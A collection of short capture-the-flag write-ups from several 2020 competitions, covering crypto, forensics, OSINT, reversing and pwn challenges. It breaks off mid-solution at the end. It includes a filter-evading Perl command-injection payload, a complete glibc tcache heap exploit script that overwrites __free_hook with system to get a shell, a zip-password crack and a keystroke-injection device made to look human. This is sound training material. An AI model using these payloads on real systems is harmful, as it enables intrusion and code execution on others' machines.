> Coins> > 100> > Toss a coin to your Witcher O' Valley of Plenty O' Valley of Plenty, oh> > nc 34.74.30.191 1337> > Author: III_Wolverine_III Once we get past the PoW we are given a number of coins that a minting machine makes. Our task is to find the defective coin and to do that we can select ranges of coins whose weights will be xor'ed together and the result returned to us. We get a limited number of attempts so we have to be smart about it, and binary search should be the fastest method of narrowing it down. xor'ing an even number of equal weights together results in 0, so that will be our indication that all the coins in that range are good. A non-zero number indicates that there is a defective coin there. If we have 16 coins, we can start by checking coins 0 through 7. If the xor is 0, then the next range to check will be 8 through 11, and so on. A special case is when there are 2 coins in the range, i and i+1, and we cannot tell which one is the bad one. For that case we can make an additional check of i-1 and i (or i+1 and i+2). Let's put this algorithm in a script: ```pythonfrom pwn import *import hashlib r = remote('34.74.30.191', 1337) # Solve the PoW challengechallenge = r.recv().split()hash = challenge[2]suffix = challenge[0].split('+')[1][:-1]print suffix, hashs = iters.mbruteforce(lambda x: hashlib.sha256(x+suffix).hexdigest() == hash, string.letters+string.digits, 4, 'fixed')r.send(s+"\n") # Print out the headerprint r.recvline().strip()print r.recvline().strip()print r.recvline().strip() print "###" number = 0 # Check if all coins in the set are of equal weightdef equal_weight(a, b): req = "{} {}".format(a, b) print req r.send(req+"\n") ans = r.recvline().strip() print ans return ans.endswith(" 0") # Report the bad coindef report_coin(c): req = "! {}".format(c) print req r.send(req+"\n") # Do a recursive binary searchdef binary_search(low, high): print "Searching {} {}".format(low, high) if high < low: return # Only one coin is found - report it if low == high: report_coin(low) return # Check for corner cases if low+1 == high: if high < number: if equal_weight(high,high+1): report_coin(low) return else: report_coin(high) return else: if equal_weight(low-1,low): report_coin(high) return else: report_coin(low) return mid = (high + low) // 2 if (mid - low + 1) % 2 != 0: mid += 1 # Search recursively if not equal_weight(low,mid): binary_search(low, mid) else: binary_search(mid+1,high) # Loop over all roundswhile True: number_line = r.recvline().strip() print number_line if not number_line.startswith("The number of coins in this batch"): break print r.recvline().strip() number = int(number_line.split()[8]) print "###" binary_search(0, number) ans = r.recvline().strip() print ans if not ans.endswith("let's keep going!"): break r.interactive()``` Running the script gets us the flag: ```$ python solve.py [+] Opening connection to 34.74.30.191 on port 1337: Done1q6wygjzbL5bWfww 9b311d4d4f7ca66ffaeab307a1bac15f2d434a1c21e1f0810570bde025dd0e46[+] MBruteforcing: Found key: "XaHy"Give me XXXX:There exists a coin minting machine at Bi0S which is known for its extermely fast minting process. However out of every batch (N coins) it produces one coin is faulty (have a different weight compared to the other N-1 coins). You can get information of the xor of the weight of the coins from index i to index j (both included) by communicating with the minting machine. Find the faulty coin (coin with different weight) with minimum number of queries, as the minting machine has better things to do than answer your questions. Multiple batches are produced by the minting machine and it is gaurenteed that in each batch there is only one defective coin. Your query should be in the format "i j" (without the quotes) where both i and j should lie in the range [0, N). You can report the correct position (Of course after solving it) in the format "! index" (without the quotes) where index lies in the range [0, N). If you correctly identify the faulty coin for a batch, you will continue to the next batch. If a query is given in the wrong format or give a wrong answer you will be rejected. ###The number of coins in this batch are 12Go ahead, ask some queries###Searching 0 120 7The xor of coin weights from index l to r is 23Searching 0 70 3The xor of coin weights from index l to r is 0Searching 4 74 5The xor of coin weights from index l to r is 0Searching 6 77 8The xor of coin weights from index l to r is 23! 7Correctly identified the faulty coin in this batch, let's keep going!The number of coins in this batch are 473847Go ahead, ask some queries###...The xor of coin weights from index l to r is 588436Searching 2792 27932793 2794The xor of coin weights from index l to r is 588436! 2793Correctly identified the faulty coin in this batch, let's keep going!Ahh the winner!! you have earned your reward, the holy piece of text that will lead you to your destination[*] Switching to interactive mode b'inctf{1f_y0u_c4n_dr3am_y0u_c4n_s34rch_1n_logn}'[*] Got EOF while reading in interactive``` The flag is ```inctf{1f_y0u_c4n_dr3am_y0u_c4n_s34rch_1n_logn}```.
# CSICTF 2020 # Web* [Cascade](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#casade)* [Oreo](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#oreo)* [Warm Up](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#warm-up)* [Mr Rami](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#mr-rami)* [Secure Portal](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#secure-portal) # Crypto* [Rivest Shamir Adleman](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Cryto.md#rivest-shamir-adleman) # Forensics* [Gradient Sky](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Forensics.md#gradient-sky)* [Panda](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Forensics.md#panda) # Linux* [AKA](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Linux.md#aka)
# Prophecy Author: [roerohan](https://github.com/roerohan) # Requirements - Python- Pwntools (Linux) # Source ```C A N Y O U S E E T H E F U T U R E ? Connect with:nc jh2i.com 50012``` # Exploitation Everytime you connect using netcat, it makes you guess the number, and if you guess incorrectly, it tells you what the number was. Now, when you guess incorrectly, you know the number. Connect recursively and you get all the numbers. ```pythonfrom pwn import remote numbers = [0] * 100 i = 0 while True: if i == 0: r = remote("jh2i.com", 50012) try: re = r.recvuntil(">") except Exception as e: r.interactive() continue print(re.decode(), end=" ") r.sendline(str(numbers[i]).encode()) print(str(numbers[i])) print([i for i in numbers if i != 0]) if numbers[i] == 0: res = r.recvuntil(".").decode() res += r.recv(1024).decode() numbers[i] = res.split("W A S ")[1].strip() i = 0 else: i += 1``` The scripts runs for a few minutes and in the end it gives you the flag. ```bash$ python script.py... W H A T I S T H E N E X T N U M B E R T O C O M E F R O M T H E F U T U R E ? > 83643['99126', '76106', '32378', '49560', '87935', '17366', '36639', '33561', '51241', '24009', '82718', '65774', '87030', '53097', '53885', '29931', '10890', '20583', '46190', '83643'][*] Switching to interactive mode ============================================================================== Y O U T O O C A N S E E T H E F U T U R E ==============================================================================flag{does_this_count_as_artificial_intelligence}``` The flag is ```flag{does_this_count_as_artificial_intelligence}```
First, we need to get enough gold to perform the save and load operations. Looking at the source code (in particular these lines):```perlif( ($subm) <= $gold and int($subm)>=0){ $gold -= ($subm); $points += ($subm)*1000;}``` We see that we must enter a value less than the amount of gold we have, but greater than zero. Notice that the first condition checks the entire value of `$subm` against `$gold`, while the second condition only checks the integer part of `$subm`. Thus, we can actually enter a value of `-0.99` gold and get `0.99` gold. If we do this 253 times, we can get enough gold to save and load. It turns out perl has a very interesting, "feature" that is very useful (for us) when we can modify the "file name" used in `open()`. [According to the perl docs](https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command), you can open a file handle to a command. If we try a payload like `|ls|`, then try to load a save, we see that our gold becomes```* u hav run.sh gold```Thus, we can execute arbitrary commands. We need some way to `grep` across the entire system for `3k{` to find the flag. Unfortunately, the characters `/`, `.` and ` ` are removed from the name, so we must find another way to get to the root and perform a `grep`. It turns out, a space can be substituted by `${IFS%??}`. With this replacement, we can run almost any command. However, we need a way to `grep` from the root, since we are in a the user's home directory (can be checked with `|pwd|`). We can abuse environment variables to accomplish this. In particular, `dirname${IFS%??}$(dirname${IFS%??}$HOME)` will get us to `/`. We have all the tools to find a file. Entering the name as```|grep${IFS%??}-r${IFS%??}"3k"${IFS%??}$(dirname${IFS%??}$(dirname${IFS%??}$HOME))${IFS%??}1>&2|``` will get you the flag. Note that we are redirecting `grep`'s standard output to standard error, since only the first line of standard output is loaded into `u hav ... gold`, and the flag is not the first file. On the other hand, all of standard error is visible. The final step is to find all the `Permission Denied` (among other things) standard error junk, which can be done trivially with another `grep` locally. **Flag:** `3k{p333rl_aInt_7hat_deAd_Y3t}`
**Official Writeup** tl;dr+ Extract Invalid Login timestamp from the windows registry.+ Extract the timestamp of when a JPEG was opened.+ Extract Google Chrome's last run time which was pinned to taskbar from windows registry. Link to writeup: <https://blog.bi0s.in/2020/08/04/Forensics/InvestigationContd-InCTFi20/> Author: [stuxn3t](https://twitter.com/_abhiramkumar)
# Forensics ## Gradient sky```Gradient sky is a begginer level ctf challenge which is aimed towards rookies. File: sky.jpg``` ```$ strings sky.jpg[...]csictf{j0ker_w4snt_happy}``` The flag is: `csictf{j0ker_w4snt_happy}` ## Archenemy```John likes Arch Linux. What is he hiding? File: arched.png``` We can exctract a file from `arched.png` with steghide and an empty passphrase:```$ steghide extract -sf arched.png Enter passphrase:wrote extracted data to "flag.zip".``` `flag.zip` is an archive protected by a password, we try to crack it: ```$ zipCracker/zipcracker.py -f flag.zip -w /usr/share/wordlists/rockyou.txt 3638 / 14344394 | 0.00% -> masones1lndg456ce Password cracked: kathmandu Took 2.379971 seconds to crack the password. That is, 1529 attempts per second.``` Then, file `meme.jpg` is extracted and we can read the flag on it. The flag is: `csictf{1_h0pe_y0u_don't_s33_m3_here}`
# Detective (14 solves) Author: @moratorium08Estimated difficulty: Easy This service write a byte of the flag at almost anywhere in Heap you like. The trick is to craft a fake chunk at 0xXXXXX41 in order not to crashwhen the a character of flag currently we consider is 'A'By repeating this process, the flags can be leaked one byte at a time. [poc.py](https://github.com/tsg-ut/tsgctf2020/blob/master/pwn/detective/solver/solve.py)
# Crypto ## Broken Invitation ### [Description as pdf](files/broken_invitation.pdf) We can attack the RSA cipher with the low exponent attack because `e = 3` and we the message is encrypted 3 times with different keys We use for it my [rsa solver](https://github.com/skyf0l/RsaSolver): ```$ ./rsasolver.py Chose an attack: 1/ Primes known (p, q, e, c) 2/ Factorization (n, e, c) 3/ Low exponent (e = 3, n1, n2, n3, c1, c2, c3)> 3n1: 924506488821656685683910901697171383575761384058997452768161613244316449994435541406042874502024337501621283644549497446327156438552952982774526792356194523541927862677535193330297876054850415513120023262998063090052673978470859715791539316871n2: 88950937117255391223977435698486265468789676087383749025900580476857958577458361251855358598960638495873663408330100969812759959637583297211068274793121379054729169786199319454344007481804946263873110263761707375758247409n3: 46120424124283407631877739918717497745499448442081604908717069311339764302716539899549382470988469546914660420190473379187397425725302899111432304753418508501904277711772373006543099077921097373552317823052570252978144835744949941108416471431004677c1: 388825822870813587493154615238012547494666151428446904627095554917874019374474234421038941934804209410745453928513883448152675699305596595130706561989245940306390625802518940063853046813376063232724848204735684760377804361178651844505881089386c2: 4132099145786478580573701281040504422332184017792293421890701268012883566853254627860193724809808999005233349057847375798626123207766954266507411969802654226242300965967704040276250440511648395550180630597000941240639594c3: 43690392479478733802175619151519523453201200942800536494806512990350504964044289998495399805335942227586694852363272883331080188161308470522306485983861114557449204887644890409995598852299488628159224012730372865280540944897915435604154376354144428 -> m(dec): 949557364767986162692541204888383714648410089749288993554212847615599100096583727459``` Then, we have the message but it is encoded with the function: ``` pythondef func(str): sum = 0 for i in range(len(str)): sum += ord(str[i]) * pow(2, 8 * i) return sum``` We decode the message with the function inverse and we get the flag:``` python>>> def func_reverse(sum):... str = ''... while sum > 0:... str += chr(sum % pow(2, 8))... sum //= pow(2, 8)... return str... >>> m = 949557364767986162692541204888383714648410089749288993554212847615599100096583727459>>> print func_reverse(m)cybrics{h3y_guY5_c0m3_t0_my_p4rtY!}``` The flag is: `cybrics{h3y_guY5_c0m3_t0_my_p4rtY!}`
### Internet Cattos> Challenge statement:>> The Internet is full of wonderful kittens and cattos. You can even find one at jh2i.com on port 50003! Solution:1. This challenge is not to hard i think, just use net cat to connect to jh2i.com on port 500032. After that u will got a message "Oh, we already sent the flag! Did you see it?"3. To find the flag i use this command ``` nc jh2i.com 50003 > InternetCattos ```4. After that you will need to open the InternetCattos using nano or any editor to see the flag, because the flag is like this ![Internet Cattos result](https://github.com/m0nkeyt3ch/CTFs-Writeups/blob/master/HacktivityCon-CTF-2020/Image/InternetCattos.png?raw=true) 5. we need to rearrange the flag, after we rearranged it we found the flag is 'flag{this_netcat_says_meow}' FLAG: **flag{this_netcat_says_meow}**
**Official writeup** tl;dr + Extract process last run time from the windows registry.+ Extract process run count from the windows registry. Link to writeup: <https://blog.bi0s.in/2020/08/04/Forensics/Investigation-InCTFi2020/> Author: [stuxn3t](https://twitter.com/_abhiramkumar)
# Search !![alt text](challenge_description.png) ![alt text](hint1.png) ![alt text](hint2.png) So basically find account of 'iwd' on the internet. # SherlockVery good tool to find accounts on the internet is: [Sherlock](https://github.com/sherlock-project/sherlock) ```sh$ python3 sherlock iwd --print-found > accounts.txt``` Searching for account `iwd` yielded many results but none of them seemed to give answer to the challenge, so i started from scratch. # Searching manuallyI searched for the official website of the team that made this ctf: [from Sousse, with love](https://www.sousse.love/)There is a team section showing all team members. Bingo, there he is: [iwd](https://www.sousse.love/authors/iwd/)He has only FB and Instagram links. Facebook is broken and Instagram doesn't have anything resulting in a flag. But we have his name. Basis google search yields couple answers. We are looking for social accounts so best matches are LinkedIn (flag not there) and Youtube. I searched his videos and comments but nothing useful there. He has a Youtube About page. The only interesting thing there is the e-mail. You have to be logged-in and solve a Captcha to view it but there is the flag :) ![alt text](iwd-yt.png) # Flag**Posedion{U_Sh0uld_D1g_B3tt3r}**
tldr;- Each bit of the flag is XORed with a random bit derived from 3 other bits- The way the 3 bits are combined to form the XOR has a bias (`0`: `3/8`, `1`:`5/8`)- Take the least frequent bit in each position to recover the flag [writeup](https://jsur.in/posts/2020-08-09-poseidonctf-2020-writeups#triplet-bits-encryption)
# Omega Stonks ## Challenge![alt text](https://github.com/Ale0x78/2020-CTF-Writeups/raw/master/uiu-ctf/images/omega_challange.png "If you solve this challenge, straightup you have Omega Stonks.(Buy this flag from IsabelleBot)")## Plan of attackYou can type `!work` in the chat with ***IsabelleBot*** to earn stonks + it's late at night, and I need to get 8 hours of sleep = automate sending `!work` to ***IsabelleBot***. In High School I used to make costume controllers for our robotics team using Arduino Boards (essentially they would mimic a keyboard), so for nostalgia's sake (and because I didn't want to look into making a Discord bot), I grabbed my old friend DigiSpark (with an **ATTINY85**) and started automating! ## SetupDigiSpark ships with a library called [DigiKeyboard](https://github.com/digistump/DigistumpArduino/blob/master/digistump-avr/libraries/DigisparkKeyboard/DigiKeyboard.h) which lets you send keystrokes over USB. ![alt text](https://github.com/Ale0x78/2020-CTF-Writeups/raw/master/uiu-ctf/images/Digispark.png "My DigiSpark") So after adding the `http://digistump.com/package_digistump_index.json` to my board manager URLs under Arduino Preferences, all I had to do is write the code to spam `!work`. ## Code ```Arduino#include "DigiKeyboard.h" void setup() { } void print(char *str) { char c = str[0]; byte i = 0; DigiKeyboard.update(); DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay while (c != 0) { if (c==' ') DigiKeyboard.sendKeyStroke(KEY_SPACE); if (c>='A' && c<='Z') DigiKeyboard.sendKeyStroke(KEY_A+(c-'A'), MOD_SHIFT_LEFT); if (c>='a' && c<='z') DigiKeyboard.sendKeyStroke(KEY_A+(c-'a')); if (c=='0') DigiKeyboard.sendKeyStroke(KEY_0); if (c>='1' && c<='9') DigiKeyboard.sendKeyStroke(KEY_1+(c-'1')); if (c == '!') DigiKeyboard.sendKeyStroke(KEY_1, MOD_SHIFT_LEFT); i++; c = str[ i ]; }} void println (char *str) { print(str); DigiKeyboard.sendKeyStroke(KEY_ENTER);}void sleep(int seconds) { delay(seconds * 1000); }void loop() { println ("!work"); sleep(17);}```## IssuesThe code took a few tries to upload to the board. I suspect it's because my Mac only has USB-C ports, and using a converter makes it go funky; however, after a few plug cycles, it started working, so I stayed with the DigiSpark. Alternatively, you could use an Arduino UNO. However, you would have to put it in [DFU mode and flash a custom firmware](http://mitchtech.net/arduino-usb-hid-keyboard/), which I didn't feel like doing. ## It's Alive!! Ignore the chewed up USB-C dongle, my dog managed to get to it the day before. Now it's a matter of leaving it running overnight. ![alt text](https://github.com/Ale0x78/2020-CTF-Writeups/raw/master/uiu-ctf/images/stonks1.gif "") ## My AtTiny Got in trouble The next morning I noticed that I was muted from the chat, with got about 450,000 (you needed 500,000 for the flag). So close! What happened? Was automation against the rules? (I should mention I didn't really look into the challenge that much). Did my little Arduino mess up and started sending bad words? I opened a ticket with the CTF organizers, and after telling them honestly that my Arduino was doing most of the typing, and that it shall go to Android Hell for all of its wrongdoings, we were back in business. ![alt text](https://github.com/Ale0x78/2020-CTF-Writeups/raw/master/uiu-ctf/images/sad_digispark.png "My Sad DigiSpark") And they even let me keep using it!! ## Final Push After re-plugging the DigiSpark into my computer and having it run for a little longer, we finally got enough Stonks to buy the flag! To avoid looking like a robot, I added a few random delays. ```Arduino#include "DigiKeyboard.h" void setup() { } void print(char *str) { char c = str[0]; byte i = 0; DigiKeyboard.update(); DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay while (c != 0) { if (c==' ') DigiKeyboard.sendKeyStroke(KEY_SPACE); if (c>='A' && c<='Z') DigiKeyboard.sendKeyStroke(KEY_A+(c-'A'), MOD_SHIFT_LEFT); if (c>='a' && c<='z') DigiKeyboard.sendKeyStroke(KEY_A+(c-'a')); if (c=='0') DigiKeyboard.sendKeyStroke(KEY_0); if (c>='1' && c<='9') DigiKeyboard.sendKeyStroke(KEY_1+(c-'1')); if (c == '!') DigiKeyboard.sendKeyStroke(KEY_1, MOD_SHIFT_LEFT); i++; c = str[ i ]; }} void println (char *str) { print(str); DigiKeyboard.sendKeyStroke(KEY_ENTER);}void sleep(int seconds) { delay(seconds * 1000); }void loop() { println ("!work"); sleep(16 + random(1,4));}``` And we get the flag! ![alt text](https://github.com/Ale0x78/2020-CTF-Writeups/raw/master/uiu-ctf/images/flag.png "Finally! The flag!") ## ConclusionMain takeaway, ask admins about automating something before doing it. But if you are going to do it `Arduino HID emulation >>>>> Any other kind of scripting` If I had a Raspberry Pi doing the automation, I could have said that my ARM was doing the typing...
The picture from the hint shows an interpreter, very similar to sh. Trying send sh by first message and got it. Without a hint, try the overflow, it doesn't work, try the format strings, it doesn't work, so most likely there is some kind of handler on the server, we try various commands in the shell calling style. ![](https://github.com/Vairelt/unictf2020/raw/master/images/image_2020-08-09_14-59-38.png)
# PoseidonCTF Good quality CTF from `From Sousse, with love`. DiceGang takes second. Notably I helped with 1 heap, which got 4-5 solves. Unfortunately I had to go to sleep right before getting libc leaks so OP pepsi on the West Coast solved submitted, but I solved afterwards for fun. ## OldNote> Old, but gold> > nc poseidonchalls.westeurope.cloudapp.azure.com 9000 Full security checks are in place, so it's a heap chall. The provided libc and ld are for glibc 2.26, which has tcache included. The program allows us 4 slots which hold pointers to malloc'ed chunks. We can only create and delete these chunks, so no easy :leeks: We also cannot allocate chunks larger than 0x100 size. ### VulnThe issue comes down to how the sizes are read. The function to read an int uses atoi, which returns a *signed* integer. This means we can request to alloc negative sizes. However, alloc would return a useless NULL on negative size allocation, right? Wrong. We can use [CVE-2017-17426: malloc returns pointer from tcache_get when should return NULL](https://sourceware.org/bugzilla/show_bug.cgi?id=22375) to get a chunk back from the first tcache index (0x20 size). Great, now we have a chunk that we aren't supposed to get. The next step is to realize that after allocation, we are allowed to write to the chunk up to the size. The problem is that a size of -1 will allow us to write basically a huge amount of bytes to the chunk, easily overflowing the chunk. ## Libc LeakDefinitely the most difficult part of this chall. As there is no way to read from a chunk, we can't just get a chunk into unsorted and read from it. However, [someone has already done](https://vigneshsrao.github.io/babytcache/) this type of attack that we need! We just have to write a few bytes of data to `_IO_2_1_stdout_`, which can be achieved with a 4 bit brute force from a known libc address... So our plan to leak libc from a high level is:- Get a chunk into unsorted bin by overflowing its size from the previous chunk, forging a few chunks to reconnect to the top, and freeing it- Overflow the chunk again, and partially overwrite the fwd with a hardcoded `_IO_2_1_stdout_` address- Write some data to `_IO_2_1_stdout_` to leak a bunch of addresses on the next print ### Unsorted bin chunkTo get a chunk into unsorted, we first need to overflow the size (as there's a <= 0x100 size restriction using the program). This can be easily done by allocating two 0x10 chunks (will end up in 0x20 tcache), deleting the first chunk, and then allocating a chunk of size -1. Allocating a chunk of size -1 will pull a chunk from the 0x20 tcache, as well as giving us a heap overflow. Let us write the size of our second chunk as 0x420. Then, we need to forge a chunk at our first chunk + 0x420 so that the free checks pass. While we're there, let's change the size so that it points back to the top chunk, so it looks nicer :) Then, we can free the chunk at index 1 (our unsorted chunk) to write some libc pointers to the chunk. ### Partial OWWe can achieve a partial overwrite by allocating a 0x14 sized chunk, and then overflowing it to write into the unsorted chunk. The way this works is that when we request a 0x14 sized chunk, the current tcache index (0x20) is empty, so it pulls from unsorted. When malloc pulls from an unsorted chunk, it takes out the requested size from the chunk and returns it. It also writes libc pointers into the remainder of the original chunk so it can be kept in the unsorted bin. We can take advantage of this with our overflow: If we overflow a chunk that came from unsorted, we'll be writing to the remainder of the unsorted chunk, that's still in unsorted! ### Writing to stdout dataRecall that the fwd and bk of a single unsorted chunk point to somewhere in `main_arena`. The last 3 nibbles of any `_IO_2_1_stdout_` address are `0x720`. Unfortunately the fourth to last nibble is not the same from `main_arena` to `_IO_2_1_stdout_`, so we need to hardcode that nibble and just brute force until it lines up. Following the HITCONCTF baby_tcache writeup, we write a `0xfbad1800`, followed by a bunch of nullbytes (25, to be exact) to `_IO_2_1_stdout_` to leak a lot of libc pointers. We can recover the base address this way on the next call to print. ### RCEFrom our libc exploration, we created an unsorted bin chunk, that overlapped with a couple of tcache chunks that we used to forge a chunk to reconnect to the top chunk. We can simply just allocate some chunks from said unsorted bin chunk, which overlap with some tcache chunk, in order to write to the tcache pointers, in effect creating a sort of unsorted-tcache bin dup and achieving tcache poison. We allocate some chunks to get an overlap with a tcache chunk, and then we write to a previously freed tcache chunk's fwd with `__free_hook`. Then, we just tcache poison to write to `__free_hook` with `system()`, and free a chunk with `/bin/sh` in it. Flag: `Poseidon{g00d_0ld_t1me_wh3n_tc4ch3_1s_571ll_cut3}` ### Script```pythonfrom pwn import * e = ELF("./oldnote")libc = ELF("./libc-2.26.so")ld = ELF("./ld-2.26.so") context.binary = econtext.terminal = ["konsole", "-e"] while True: #p = process([ld.path, e.path], env={"LD_PRELOAD": libc.path}) p = remote("poseidonchalls.westeurope.cloudapp.azure.com", 9000) #context.log_level="debug" #gdb.attach(p, """p stdout \n info addr main_arena""") def new(size, dat): p.sendlineafter(": ", "1") p.sendlineafter(": ", str(size)) p.sendafter(": ", str(dat)) def remove(idx): p.sendlineafter(": ", "2") p.sendlineafter(": ", str(idx)) new(0x10, "A") new(0x10, "B") for i in range(0x90, 0xd1, 0x10): new(i, "i") remove(2) new(0xe0, "i"*0x30+p64(0x421)+p64(0xe0-0x32+3)) remove(0) new(-1, "C"*0x18 + "\x21\x04") remove(1) # tcache for 0x20 is empty so get a chunk in there to pull later new(20, "A") remove(1) new(-1, "A"*16 + p64(0x21) + p64(0x400) + "\x20\xe7") remove(0) new(144, "A") new(144, p64(0xfbad1800)+p64(0)*3+"\x00") try: dat = p.recvline() libc.address = u64(dat[24:32]) - 0x3d73e0 except struct.error: print("skip") continue except EOFError: print("asdf") continue print("libc base", hex(libc.address)) remove(0) new(0xe0, "iiiiiiii") remove(0) print("libc free hook", hex(libc.sym["__free_hook"])) print("libc system", hex(libc.sym["system"])) new(0xf0, "B"*0x50 + p64(0) + p64(0xc1) + p64(libc.sym["__free_hook"])) remove(0) new(0xb0, "/bin/sh") remove(1) new(0xb0, p64(libc.sym["system"])) remove(0) p.interactive()```
First challenge in trustzone. Open task1 in ida, check strings window and see strings like `TEEC_FinalizeContext`,`TEEC_InvokeCommand`,`TEEC_CloseSession`. Google it and got [client spetsification](http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=2C3A19C13215CE2ACB0A0069B09B5039?doi=10.1.1.183.2049&rep=rep1&type=pdf) [GlobalPlatform API tee](https://globalplatform.org/wp-content/uploads/2018/06/GPD_TEE_Internal_Core_API_Specification_v1.1.2.50_PublicReview.pdf) specification with prototypes of these functions.This will help a lot with the reverse of all tasks. ```CTEEC_Result TEEC_InvokeCommand( TEEC_Session* session, uint32_t commandID, TEEC_Operation* operation, uint32_t* returnOrigin)```in main function rename vars and got this, TEEC_Operation is struct like this```Ctypedef struct{ uint32_t started; uint32_t paramTypes; TEEC_Parameter params[4]; uint32_t imp;} TEEC_Operation;typedef union{ TEEC_TempMemoryReference tmpref; TEEC_MemoryReference memref;} TEEC_Parameter;``` In our challenge 32bit binary hence referense and uint32_t equal add in ida.![](https://raw.githubusercontent.com/Vairelt/unictf2020/master/images/main_fuction.png) client invoking command with id 1,remember it and open TA. Trying open TA in ida ond see that is opening as blob. Open in hex editor and seen ELF signature, cut first 0x148 bytes(it's just sign), reopen in IDA and it's work.On start function we see one call. Check it and found nothing```asmBLX sub_CF24NOP```check with file ```bash$ file 00dec0de-d0d0-0ebb-fade-fadedead0001.ta00dec0de-d0d0-0ebb-fade-fadedead0001.ta: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, stripped``` check strings and found some interesting `Got value: %u from NW`, Got value from normal world,maybe is one of handlers,check referene and found function `sub_114` witch called from `sub_1E4` when second arg is 1(Hmmm)```Csigned int __fastcall sub_1E4(int a1, int a2, int a3, _DWORD *a4){ signed int v4; // r3 if ( a2 == 1 ) v4 = dec_value(a3, a4); else v4 = 0xFFFF0006; return v4;}``` And....```Csigned int __fastcall dec_value(int a1, _DWORD *a2){ int v7; // [sp+10h] [bp+0h] int v8; // [sp+14h] [bp+4h] v8 = 3; v7 = 0; log_35E((int)"dec_value", 0x4D, 3, 1, "has been called"); if ( a1 != 3 ) return -65530; log_35E((int)"dec_value", 81, 3, 1, "Got value: %u from NW", *a2); getprop_1F96(-1, (int)"unictf.2020.data.key", (int)&v7;; *a2 ^= v7; log_35E((int)"dec_value", 84, 3, 1, "Return value is: %u", *a2); return 0;}``` Just xoring with some value,brutefroce this value or try find `"unictf.2020.data.key"` in binary ```Cint __fastcall getprop_1F96(int a1, int prop, int buf){ int v3; // lr int v5; // [sp+1Ch] [bp+Ch] int v6; // [sp+20h] [bp+10h] int v7; // [sp+24h] [bp+14h] int v8; // [sp+2Ch] [bp+1Ch] v8 = v3; v5 = 4; if ( buf ) { v6 = 1; v7 = sub_1B26((int *)a1, prop, &v6, buf, (int)&v5;; if ( v6 != 1 ) v7 = 0xFFFF0005; } else { v7 = 0xFFFF0006; } if... return v7;}int __fastcall sub_1B26(int *a1, int a2, _DWORD *a3, int a4, int a5){ int v9; // r0 int v15; // [sp+20h] [bp+4h] int v16; // [sp+24h] [bp+8h] unsigned int v17; // [sp+28h] [bp+Ch] int v18; // [sp+2Ch] [bp+10h] unsigned int v19; // [sp+30h] [bp+14h] int *v20; // [sp+34h] [bp+18h] unsigned int i; // [sp+38h] [bp+1Ch] int v22; // [sp+3Ch] [bp+20h] if... v22 = sub_1964((int)a1, &v18, &v17); if... return v22;}signed int __fastcall sub_1964(int a1, _DWORD *a2, _DWORD *a3){ switch ( a1 ) { case (int)0xFFFFFFFF: *a2 = &off_10238; *a3 = 9; return 0; case (int)0xFFFFFFFE: *a2 = 0; *a3 = 0; return 0; case (int)0xFFFFFFFD: *a2 = &off_102A4; *a3 = 3; return 0; } return -65528;}```And got offset with props defined, props table have struct like this```Cstruct prop{ char* name; uint32_t type; char* value;}```We got xor key! Just xor bytes from client and get flag `unictf{b4by_TA}````C.data:00010298 DCD aUnictf2020Data_1 ; "unictf.2020.data.key".data:0001029C DCD 1.data:000102A0 DCD unk_D990....rodata:0000D990 unk_D990 DCB 0x41 ; A``` ```pythonflag = [0x34,0x2f,0x28,0x22,0x35,0x27,0x3a,0x23,0x75,0x23,0x38,0x1e,0x15,0x00,0x3c,0x41]for i in flag: printf(chr(i^0x41),end="")```
tldr;- [Okamoto-Uchiyama cryptosystem](https://en.wikipedia.org/wiki/Okamoto%E2%80%93Uchiyama_cryptosystem) is being used- The private information is the factorisation of `n`; if we have the prime factorisation, we can easily decrypt- `q` is generated from `p`, and we can write `q = p^2 + 2^256 + delta`- Bruteforce delta and solve for `p` by finding roots of the quartic `p^2 (p^2 + 2^256 + delta) - n` [writeup](https://jsur.in/posts/2020-08-09-poseidonctf-2020-writeups#discrete-log)
Quite simple task. We have bad CRC32 hashsum, but there is two CRC32 hashsums in the structure of ZIP related to one file. You can just recover it. Or you can use python or linux command zip to extract the file without hashsum checking.
yasl-lang reversing, you had to solve a series of expressions. I wrote a symbolic executor in z3: [https://ctf.harrisongreen.me/2020/poseidonctf/vm/](https://ctf.harrisongreen.me/2020/poseidonctf/vm/)
**Official writeup** tl;dr + Extract keylogger script from the memory dump.+ Extract the master key from the packet capture.+ Reverse the script to get the flag. Link to writeup: <https://blog.bi0s.in/2020/08/04/Forensics/InCTFi-LOGarithm/> Author: [stuxn3t](https://twitter.com/_abhiramkumar)
This was an interesting challenge for me since I was dealing with Discrete Log Problem and Finite Fields for the first time. The challenge asks us to calculate discrete log for a polynomial finite field. The algorithm I used to solve this was [Pohlig-Hellman Algorithm](https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm). Since this algorithm works when n is irreducible, what I did was I changed n to new_n which is irreducible polynomial and calculated the mod using that polynomial. Since (a mod b) mod c = a mod c, i calculated (g^X mod n) mod new_n and ran the algorithm for this. This gave me the flag ```inctf{bingo!}``` Note : I used one of the factors of n as new_n since those are already irreducible. The whole solution is :```p = 35201 P = PolynomialRing(GF(p), 'x')x = P.gen()n = 1629*x^256 + 25086*x^255 + 32366*x^254 + 21665*x^253 + 24571*x^252 + 20588*x^251 + 17474*x^250 + 30654*x^249 + 31322*x^248 + 23385*x^247 + 14049*x^246 + 27853*x^245 + 18189*x^244 + 33130*x^243 + 29218*x^242 + 3412*x^241 + 28875*x^240 + 1550*x^239 + 15231*x^238 + 32794*x^237 + 8541*x^236 + 23025*x^235 + 21145*x^234 + 11858*x^233 + 34388*x^232 + 21092*x^231 + 22355*x^230 + 1768*x^229 + 5868*x^228 + 1502*x^227 + 30644*x^226 + 24646*x^225 